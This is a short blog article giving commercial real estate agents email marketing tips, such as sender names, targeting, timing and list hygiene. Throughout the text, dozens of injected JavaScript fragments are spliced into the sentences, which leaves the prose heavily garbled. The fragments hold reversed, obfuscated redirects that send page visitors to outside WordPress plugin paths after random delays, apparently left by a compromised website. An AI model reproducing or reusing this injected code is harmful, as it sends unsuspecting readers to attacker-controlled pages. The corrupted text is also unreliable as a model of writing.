5 Best Practices in Email Marketing for Commercial Real Estate Professionals.

Best Practices in Email Marketing for Commercial Real Estate Professionals

Between increasingly stiff email competition vying for your prospects’ attention—toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and the emergence of tech savvy email filters, you’ve got toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to keep up with your game when it comes toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to email marketing in the commercial real estate industry. Although it seems harder than ever toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to get your message heard nowadays, smart marketers understtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and that they have toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to keep updating their tactics toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sttoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and out, break through toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and be successful.

As you prepare for a new year of great business ahead, consider revisiting your emailing habits toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and implementing these tips:

o Use your name (not your company’s name) in the “from” field. In general, people like hearing from people. They tend toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to think of it as a personal message vs. a marketing solicitation, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and are more likely toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to open it.

o Be specific— toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and relevant. This will require breaking down one huge email blast intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to targeted efforts that are tailored for specific property types or locations. For example—“Large restaurant spaces available around Asheville, NC” (toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a targeted audience interested in restaurant space in the region), is far better than “Great Commercial real estate deals in your area.” The more directly you speak toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a niche group—or even individual prospects— the better you will fare in getting a response.

o Create urgency by letting your recipient know why they don’t want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to miss this one. For example, ‘Just on the market; won’t last long.’

o Studies have shown that emailing around 10 a.m. on Tuesdays, Wednesdays toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and Thursdays gets a higher open rate. But, if you’re not getting the kind of response you’d like, mix it up. Think of your own behavior. When are you most receptive toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to new business or receiving emails? Keep track of your efforts toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and results via post-blast email statistics, but also keep in mind that open rates depend on a multitude of factoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors including, listing relevance, how good your deal is, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and even current economic factoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors.

o Keep a clean, organized list. Make sure you’re sending toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to either your own carefully segmented opt-in list— OR through a trusted service that’s recognized for segmented, targeted, trusted distributions—the kind where you know people opt-in toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to receive specific deals. Research shows that segmented email does outperform general, untargeted sends (see chart).

When it comes toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to email marketing, the best overall advice is toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be professional toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and relevant. You have toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to determine where that fine line is between emailing just enough toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to get interest— toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and a response, but not toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too much toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to get ousted by recipients. Keep careful notes, save your response rates— toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and learn from all of your efforts as you keep building your business toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and company reputation.

Diana Sonis
Co-founder of BuzzTarget, a RealNex Company
diana@buzztarget.com | http://www.buzztarget.com